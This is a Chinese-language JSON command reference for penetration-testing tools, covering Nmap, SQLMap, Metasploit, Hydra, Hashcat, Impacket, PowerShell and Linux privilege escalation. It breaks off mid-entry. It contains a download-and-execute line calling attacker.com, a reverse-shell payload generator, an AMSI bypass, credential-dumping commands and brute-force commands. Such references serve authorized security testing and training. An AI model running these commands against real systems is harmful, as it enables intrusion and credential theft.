[
  {
    "id": "nmap",
    "name": "Nmap",
    "description": "网络扫描和安全审计工具",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "nmap -sT target_ip",
        "description": "使用TCP连接方式进行端口扫描",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "nmap",
            "explanation": "Nmap扫描工具",
            "type": "command"
          },
          {
            "part": "-sT",
            "explanation": "TCP连接扫描模式",
            "type": "parameter"
          },
          {
            "part": "target_ip",
            "explanation": "目标IP地址",
            "type": "value"
          }
        ]
      },
      {
        "command": "nmap -sS target_ip",
        "description": "使用SYN包进行隐蔽扫描，需要root权限",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-sS",
            "explanation": "SYN扫描(半开扫描)，更隐蔽",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "nmap -sU target_ip",
        "description": "扫描UDP端口",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-sU",
            "explanation": "UDP扫描模式",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "nmap -sV target_ip",
        "description": "探测开放端口的服务版本信息",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-sV",
            "explanation": "服务版本探测",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "nmap -O target_ip",
        "description": "尝试识别目标操作系统",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-O",
            "explanation": "操作系统探测",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "nmap -A target_ip",
        "description": "启用高级功能进行全面扫描",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-A",
            "explanation": "启用OS检测、版本检测、脚本扫描和traceroute",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "nmap -p 22,80,443 target_ip",
        "description": "只扫描指定的端口",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-p",
            "explanation": "指定端口",
            "type": "parameter"
          },
          {
            "part": "22,80,443",
            "explanation": "端口号列表",
            "type": "value"
          }
        ]
      },
      {
        "command": "nmap -p 1-1000 target_ip",
        "description": "扫描指定范围的端口",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "1-1000",
            "explanation": "端口范围",
            "type": "value"
          }
        ]
      },
      {
        "command": "nmap --script=vuln target_ip",
        "description": "使用Nmap脚本引擎进行漏洞扫描",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "--script=",
            "explanation": "指定Nmap脚本",
            "type": "parameter"
          },
          {
            "part": "vuln",
            "explanation": "漏洞检测脚本类别",
            "type": "value"
          }
        ]
      },
      {
        "command": "nmap --script=smb-enum-shares,smb-enum-users target_ip",
        "description": "扫描SMB共享和用户信息",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "nmap --script=http-enum,http-vuln* -p 80,443 target_ip",
        "description": "HTTP服务漏洞扫描",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "nmap -F target_ip",
        "description": "快速扫描，只扫描常用端口",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-F",
            "explanation": "快速模式，扫描常用100个端口",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "nmap 192.168.1.0/24",
        "description": "扫描整个网段",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "192.168.1.0/24",
            "explanation": "CIDR格式的网段",
            "type": "value"
          }
        ]
      },
      {
        "command": "nmap -oN output.txt target_ip",
        "description": "将扫描结果保存到文件",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-oN",
            "explanation": "普通格式输出",
            "type": "parameter"
          },
          {
            "part": "-oX",
            "explanation": "XML格式输出",
            "type": "parameter"
          },
          {
            "part": "-oG",
            "explanation": "Grepable格式输出",
            "type": "parameter"
          }
        ]
      }
    ]
  },
  {
    "id": "sqlmap",
    "name": "SQLMap",
    "description": "自动化SQL注入工具",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "sqlmap -u \"http://target.com/page?id=1\"",
        "description": "对URL进行SQL注入测试",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "sqlmap",
            "explanation": "SQLMap工具",
            "type": "command"
          },
          {
            "part": "-u",
            "explanation": "指定目标URL",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "sqlmap -u \"http://target.com/page?id=1&name=test\" -p id",
        "description": "只测试指定的参数",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-p",
            "explanation": "指定要测试的参数",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "sqlmap -u \"http://target.com/login\" --data=\"user=admin&pass=123\"",
        "description": "测试POST请求",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "--data=",
            "explanation": "POST数据",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "sqlmap -u \"http://target.com/page?id=1\" --cookie=\"PHPSESSID=xxx\"",
        "description": "使用Cookie进行认证",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "--cookie=",
            "explanation": "设置Cookie",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "sqlmap -u \"http://target.com/page?id=1\" --dbms=mysql",
        "description": "指定后端数据库类型",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "--dbms=",
            "explanation": "数据库类型(mysql,mssql,oracle等)",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "sqlmap -u \"http://target.com/page?id=1\" --dbs",
        "description": "获取所有数据库名",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "--dbs",
            "explanation": "枚举数据库",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "sqlmap -u \"http://target.com/page?id=1\" -D database_name --tables",
        "description": "获取指定数据库的表",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-D",
            "explanation": "指定数据库",
            "type": "parameter"
          },
          {
            "part": "--tables",
            "explanation": "枚举表",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "sqlmap -u \"http://target.com/page?id=1\" -D db -T table --columns",
        "description": "获取指定表的列",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-T",
            "explanation": "指定表",
            "type": "parameter"
          },
          {
            "part": "--columns",
            "explanation": "枚举列",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "sqlmap -u \"http://target.com/page?id=1\" -D db -T table -C col1,col2 --dump",
        "description": "提取指定列的数据",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-C",
            "explanation": "指定列",
            "type": "parameter"
          },
          {
            "part": "--dump",
            "explanation": "提取数据",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "sqlmap -u \"http://target.com/page?id=1\" --os-shell",
        "description": "尝试获取操作系统Shell",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "--os-shell",
            "explanation": "获取OS交互式Shell",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "sqlmap -u \"http://target.com/page?id=1\" --proxy=\"http://127.0.0.1:8080\"",
        "description": "通过代理发送请求",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "--proxy=",
            "explanation": "设置代理服务器",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "sqlmap -u \"http://target.com/page?id=1\" --technique=BEUST",
        "description": "指定注入技术类型",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "--technique=",
            "explanation": "B=布尔盲注,E=报错注入,U=联合查询,S=堆叠,T=时间盲注",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "sqlmap -u \"http://target.com/page?id=1\" --level=5 --risk=3",
        "description": "设置扫描级别和风险等级",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "--level=",
            "explanation": "扫描级别(1-5)，越高越全面",
            "type": "parameter"
          },
          {
            "part": "--risk=",
            "explanation": "风险等级(1-3)，越高越危险",
            "type": "parameter"
          }
        ]
      }
    ]
  },
  {
    "id": "metasploit",
    "name": "Metasploit",
    "description": "渗透测试框架",
    "category": "漏洞利用",
    "tags": [],
    "commands": [
      {
        "command": "msfconsole",
        "description": "启动Metasploit控制台",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "search exploit apache",
        "description": "搜索相关漏洞模块",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "search",
            "explanation": "搜索命令",
            "type": "command"
          },
          {
            "part": "exploit",
            "explanation": "模块类型",
            "type": "value"
          },
          {
            "part": "apache",
            "explanation": "搜索关键词",
            "type": "value"
          }
        ]
      },
      {
        "command": "use exploit/multi/handler",
        "description": "选择要使用的模块",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "use",
            "explanation": "使用模块命令",
            "type": "command"
          },
          {
            "part": "exploit/multi/handler",
            "explanation": "模块路径",
            "type": "value"
          }
        ]
      },
      {
        "command": "show options",
        "description": "显示模块配置选项",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "show",
            "explanation": "显示命令",
            "type": "command"
          },
          {
            "part": "options",
            "explanation": "配置选项",
            "type": "value"
          }
        ]
      },
      {
        "command": "set RHOSTS 192.168.1.100",
        "description": "设置模块参数",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "set",
            "explanation": "设置参数命令",
            "type": "command"
          },
          {
            "part": "RHOSTS",
            "explanation": "目标主机参数",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "set PAYLOAD windows/meterpreter/reverse_tcp",
        "description": "设置攻击载荷",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "PAYLOAD",
            "explanation": "载荷参数",
            "type": "parameter"
          },
          {
            "part": "windows/meterpreter/reverse_tcp",
            "explanation": "反向TCP连接的Meterpreter载荷",
            "type": "value"
          }
        ]
      },
      {
        "command": "exploit",
        "description": "执行攻击",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "exploit",
            "explanation": "执行攻击命令",
            "type": "command"
          }
        ]
      },
      {
        "command": "exploit -j",
        "description": "在后台执行攻击",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-j",
            "explanation": "后台任务模式",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o payload.exe",
        "description": "使用msfvenom生成恶意文件",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "msfvenom",
            "explanation": "MSF载荷生成工具",
            "type": "command"
          },
          {
            "part": "-p",
            "explanation": "指定载荷",
            "type": "parameter"
          },
          {
            "part": "-f exe",
            "explanation": "输出格式",
            "type": "parameter"
          },
          {
            "part": "-o",
            "explanation": "输出文件",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "sysinfo\ngetuid\nhashdump",
        "description": "Meterpreter会话中的常用命令",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "hydra",
    "name": "Hydra",
    "description": "网络登录破解工具",
    "category": "密码攻击",
    "tags": [],
    "commands": [
      {
        "command": "hydra -l user -P wordlist.txt ssh://target_ip",
        "description": "使用用户名和密码字典爆破SSH",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "hydra",
            "explanation": "Hydra破解工具",
            "type": "command"
          },
          {
            "part": "-l",
            "explanation": "指定用户名",
            "type": "parameter"
          },
          {
            "part": "-L",
            "explanation": "指定用户名字典文件",
            "type": "parameter"
          },
          {
            "part": "-p",
            "explanation": "指定密码",
            "type": "parameter"
          },
          {
            "part": "-P",
            "explanation": "指定密码字典文件",
            "type": "parameter"
          },
          {
            "part": "ssh://",
            "explanation": "目标服务协议",
            "type": "value"
          }
        ]
      },
      {
        "command": "hydra -L users.txt -P passwords.txt ftp://target_ip",
        "description": "爆破FTP服务",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "hydra -l admin -P wordlist.txt target_ip http-post-form \"/login:user=^USER^&pass=^PASS^:Invalid\"",
        "description": "爆破HTTP表单登录",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "http-post-form",
            "explanation": "HTTP POST表单模块",
            "type": "value"
          },
          {
            "part": "^USER^",
            "explanation": "用户名占位符",
            "type": "value"
          },
          {
            "part": "^PASS^",
            "explanation": "密码占位符",
            "type": "value"
          },
          {
            "part": "Invalid",
            "explanation": "失败响应标识",
            "type": "value"
          }
        ]
      },
      {
        "command": "hydra -l administrator -P wordlist.txt rdp://target_ip",
        "description": "爆破RDP服务",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "hydra -l root -P wordlist.txt mysql://target_ip",
        "description": "爆破MySQL数据库",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "hydra -t 4 -l user -P wordlist.txt ssh://target_ip",
        "description": "指定线程数",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-t",
            "explanation": "并发线程数",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "hydra -R",
        "description": "恢复之前中断的任务",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-R",
            "explanation": "恢复任务",
            "type": "parameter"
          }
        ]
      }
    ]
  },
  {
    "id": "john",
    "name": "John the Ripper",
    "description": "密码破解工具",
    "category": "密码攻击",
    "tags": [],
    "commands": [
      {
        "command": "john --wordlist=wordlist.txt hash.txt",
        "description": "使用字典破解哈希",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "john",
            "explanation": "John破解工具",
            "type": "command"
          },
          {
            "part": "--wordlist=",
            "explanation": "指定字典文件",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "john --wordlist=wordlist.txt --format=raw-md5 hash.txt",
        "description": "指定哈希格式",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "--format=",
            "explanation": "指定哈希格式",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "john --show hash.txt",
        "description": "显示已破解的密码",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "--show",
            "explanation": "显示结果",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "unshadow /etc/passwd /etc/shadow > mypasswd\njohn --wordlist=wordlist.txt mypasswd",
        "description": "破解Linux密码文件",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "unshadow",
            "explanation": "合并passwd和shadow文件",
            "type": "command"
          }
        ]
      },
      {
        "command": "zip2john protected.zip > zip.hash\njohn --wordlist=wordlist.txt zip.hash",
        "description": "破解ZIP文件密码",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "zip2john",
            "explanation": "提取ZIP密码哈希",
            "type": "command"
          }
        ]
      },
      {
        "command": "rar2john protected.rar > rar.hash\njohn --wordlist=wordlist.txt rar.hash",
        "description": "破解RAR文件密码",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "ssh2john id_rsa > ssh.hash\njohn --wordlist=wordlist.txt ssh.hash",
        "description": "破解SSH私钥密码",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "john --incremental hash.txt",
        "description": "使用暴力破解模式",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "--incremental",
            "explanation": "暴力破解模式",
            "type": "parameter"
          }
        ]
      }
    ]
  },
  {
    "id": "hashcat",
    "name": "Hashcat",
    "description": "GPU加速密码破解工具",
    "category": "密码攻击",
    "tags": [],
    "commands": [
      {
        "command": "hashcat -m 0 -a 0 hash.txt wordlist.txt",
        "description": "使用字典破解MD5哈希",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "hashcat",
            "explanation": "Hashcat破解工具",
            "type": "command"
          },
          {
            "part": "-m 0",
            "explanation": "哈希类型(MD5)",
            "type": "parameter"
          },
          {
            "part": "-a 0",
            "explanation": "攻击模式(字典攻击)",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a",
        "description": "暴力破解模式",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-a 3",
            "explanation": "暴力破解模式",
            "type": "parameter"
          },
          {
            "part": "?a",
            "explanation": "所有字符掩码",
            "type": "value"
          }
        ]
      },
      {
        "command": "?l = abcdefghijklmnopqrstuvwxyz\n?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ\n?d = 0123456789\n?s = 特殊字符\n?a = 所有字符\n?b = 0x00-0xff",
        "description": "掩码字符集说明",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "hashcat -m 0 -a 0 hash.txt wordlist.txt -r rules/best64.rule",
        "description": "使用规则文件进行破解",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-r",
            "explanation": "指定规则文件",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "hashcat -m 0 -a 1 hash.txt wordlist1.txt wordlist2.txt",
        "description": "组合两个字典",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-a 1",
            "explanation": "组合攻击模式",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "-m 0 = MD5\n-m 100 = SHA1\n-m 1400 = SHA256\n-m 1700 = SHA512\n-m 1000 = NTLM\n-m 1800 = SHA512crypt\n-m 3200 = bcrypt\n-m 5600 = NetNTLMv2\n-m 13100 = Kerberos TGS",
        "description": "常用哈希类型编号",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "hashcat -m 0 hash.txt --show",
        "description": "显示已破解的结果",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "hashcat -b",
        "description": "测试GPU性能",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "crackmapexec",
    "name": "CrackMapExec",
    "description": "内网渗透瑞士军刀",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "crackmapexec smb 192.168.1.0/24",
        "description": "扫描网段内的SMB服务",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "crackmapexec",
            "explanation": "CME工具",
            "type": "command"
          },
          {
            "part": "smb",
            "explanation": "SMB协议模块",
            "type": "value"
          }
        ]
      },
      {
        "command": "crackmapexec smb 192.168.1.0/24 -u users.txt -p Password123",
        "description": "使用单个密码测试多个用户",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-u",
            "explanation": "用户名或用户文件",
            "type": "parameter"
          },
          {
            "part": "-p",
            "explanation": "密码或密码文件",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "crackmapexec smb 192.168.1.0/24 -u admin -p password",
        "description": "测试凭证是否有效",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "crackmapexec smb 192.168.1.0/24 -u admin -H NTHASH",
        "description": "使用哈希进行认证",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-H",
            "explanation": "NTLM哈希",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "crackmapexec smb 192.168.1.100 -u admin -p password -x \"whoami\"",
        "description": "在目标机器执行命令",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-x",
            "explanation": "执行命令",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "crackmapexec smb 192.168.1.100 -u admin -p password -X \"Get-Process\"",
        "description": "在目标机器执行PowerShell",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-X",
            "explanation": "执行PowerShell命令",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "crackmapexec smb 192.168.1.100 -u admin -p password --sam",
        "description": "导出SAM数据库",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "crackmapexec smb 192.168.1.100 -u admin -p password --lsa",
        "description": "导出LSASS凭证",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "crackmapexec smb 192.168.1.100 -u admin -p password -M mimikatz",
        "description": "执行Mimikatz模块",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-M",
            "explanation": "指定模块",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "crackmapexec winrm 192.168.1.100 -u admin -p password",
        "description": "通过WinRM执行命令",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "impacket",
    "name": "Impacket",
    "description": "Python网络协议库",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "psexec.py domain/user:password@target_ip",
        "description": "PsExec远程执行",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "wmiexec.py domain/user:password@target_ip",
        "description": "WMI远程执行",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "atexec.py domain/user:password@target_ip \"command\"",
        "description": "通过计划任务执行",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "smbexec.py domain/user:password@target_ip",
        "description": "SMB远程执行",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "secretsdump.py domain/user:password@target_ip",
        "description": "导出所有凭证",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "GetUserSPNs.py domain/user:password -dc-ip dc_ip -request",
        "description": "Kerberoasting攻击",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "GetNPUsers.py domain/ -usersfile users.txt -format hashcat",
        "description": "AS-REP Roasting攻击",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "ntlmrelayx.py -tf targets.txt -smb2support",
        "description": "NTLM中继攻击",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "mssqlclient.py domain/user:password@target_ip",
        "description": "MSSQL客户端",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "lookupsid.py domain/user:password@target_ip",
        "description": "通过LSA枚举用户",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "powershell-pentest",
    "name": "PowerShell渗透命令",
    "description": "PowerShell渗透测试常用命令",
    "category": "Windows渗透",
    "tags": [],
    "commands": [
      {
        "command": "powershell -ExecutionPolicy Bypass -File script.ps1",
        "description": "绕过执行策略运行脚本",
        "platform": "windows",
        "syntaxBreakdown": [
          {
            "part": "-ExecutionPolicy Bypass",
            "explanation": "绕过执行策略",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "IEX (New-Object Net.WebClient).DownloadString(\"http://attacker.com/script.ps1\")",
        "description": "从远程下载并执行脚本",
        "platform": "windows",
        "syntaxBreakdown": [
          {
            "part": "IEX",
            "explanation": "Invoke-Expression，执行字符串",
            "type": "command"
          },
          {
            "part": "Net.WebClient",
            "explanation": "Web客户端类",
            "type": "value"
          },
          {
            "part": "DownloadString",
            "explanation": "下载字符串内容",
            "type": "value"
          }
        ]
      },
      {
        "command": "powershell -EncodedCommand BASE64_ENCODED_COMMAND",
        "description": "使用Base64编码执行命令",
        "platform": "windows",
        "syntaxBreakdown": [
          {
            "part": "-EncodedCommand",
            "explanation": "Base64编码的命令",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "Get-ComputerInfo\nsysteminfo\nGet-WmiObject -Class Win32_OperatingSystem",
        "description": "获取系统信息",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Get-Process | Select-Object Name,Id,Path\nGet-WmiObject Win32_Process | Select-Object Name,ProcessId,CommandLine",
        "description": "获取运行进程",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Get-Service | Where-Object {$_.Status -eq \"Running\"}\nGet-WmiObject Win32_Service | Select-Object Name,State,StartName",
        "description": "获取服务信息",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Get-NetTCPConnection | Select-Object LocalAddress,LocalPort,OwningProcess\nnetstat -ano",
        "description": "获取网络连接",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Get-LocalUser\nnet user\nnet localgroup administrators",
        "description": "获取用户信息",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "1..1024 | % {Test-NetConnection -Port $_ -ComputerName target_ip}",
        "description": "简单端口扫描",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Get-ChildItem -Path C:\\ -Include *.txt,*.doc,*.xls -Recurse -ErrorAction SilentlyContinue",
        "description": "搜索敏感文件",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiInitFailed\",\"NonPublic,Static\").SetValue($null,$true)",
        "description": "绕过AMSI检测",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "linux-privilege",
    "name": "Linux提权命令",
    "description": "Linux系统提权常用命令",
    "category": "权限提升",
    "tags": [],
    "commands": [
      {
        "command": "uname -a\ncat /etc/issue\ncat /etc/*-release\ncat /proc/version",
        "description": "获取系统版本信息",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "id\nwhoami\nw\nlast\ncat /etc/passwd\ncat /etc/shadow",
        "description": "获取用户信息",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "find / -perm -4000 -type f 2>/dev/null\nfind / -perm -u=s -type f 2>/dev/null",
        "description": "查找SUID权限文件",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-perm -4000",
            "explanation": "SUID权限位",
            "type": "parameter"
          },
          {
            "part": "-type f",
            "explanation": "文件类型",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "sudo -l\ncat /etc/sudoers",
        "description": "查看SUDO权限配置",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "find / -writable -type d 2>/dev/null\nfind / -perm -222 -type d 2>/dev/null",
        "description": "查找可写目录",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "searchsploit linux kernel $(uname -r)\n./linux-exploit-suggester.sh",
        "description": "搜索内核漏洞",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "cat /etc/crontab\nls -la /etc/cron*\ncrontab -l",
        "description": "查看计划任务",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "env\nset\necho $PATH",
        "description": "查看环境变量",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "cat /root/.bash_history\ncat ~/.ssh/authorized_keys\ncat /etc/shadow\nfind / -name \"*.key\" 2>/dev/null",
        "description": "查找敏感文件",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "cat /proc/1/cgroup\nfdisk -l\ncapsh --print",
        "description": "检测Docker环境",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "gobuster",
    "name": "Gobuster",
    "description": "目录和子域名爆破工具",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "gobuster dir -u http://target.com -w wordlist.txt",
        "description": "爆破网站目录",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "gobuster",
            "explanation": "Gobuster工具",
            "type": "command"
          },
          {
            "part": "dir",
            "explanation": "目录爆破模式",
            "type": "value"
          },
          {
            "part": "-u",
            "explanation": "目标URL",
            "type": "parameter"
          },
          {
            "part": "-w",
            "explanation": "字典文件",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt",
        "description": "指定文件扩展名",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-x",
            "explanation": "文件扩展名",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "gobuster dns -d target.com -w subdomains.txt",
        "description": "爆破子域名",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "dns",
            "explanation": "DNS爆破模式",
            "type": "value"
          },
          {
            "part": "-d",
            "explanation": "目标域名",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "gobuster dir -u http://target.com -w wordlist.txt -c \"PHPSESSID=xxx\"",
        "description": "使用Cookie认证",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-c",
            "explanation": "设置Cookie",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "gobuster dir -u http://target.com -w wordlist.txt -H \"Authorization: Bearer token\"",
        "description": "添加自定义Header",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-H",
            "explanation": "添加Header",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "gobuster dir -u http://target.com -w wordlist.txt -t 50",
        "description": "设置线程数",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-t",
            "explanation": "线程数",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "gobuster dir -u http://target.com -w wordlist.txt -b 404,403",
        "description": "忽略特定状态码",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-b",
            "explanation": "黑名单状态码",
            "type": "parameter"
          }
        ]
      }
    ]
  },
  {
    "id": "burpsuite",
    "name": "Burp Suite",
    "description": "Web安全测试平台",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "Proxy -> Options -> Proxy Listeners -> Add -> Port 8080",
        "description": "配置代理监听",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "Proxy -> Intercept -> Intercept is on",
        "description": "开启请求拦截",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "右键 -> Send to Repeater (Ctrl+R)",
        "description": "发送请求到Repeater",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "右键 -> Send to Intruder (Ctrl+I)",
        "description": "发送请求到Intruder",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "Sniper: 单个payload\nBattering ram: 同一payload\nPitchfork: 多个payload并行\nCluster bomb: 多个payload组合",
        "description": "四种攻击类型说明",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "Dashboard -> New Scan -> 选择目标URL",
        "description": "启动主动扫描",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "Extender -> BApp Store -> 选择插件 -> Install",
        "description": "安装BApp插件",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "右键 -> Copy to clipboard -> Request",
        "description": "复制请求内容",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "ffuf",
    "name": "FFUF",
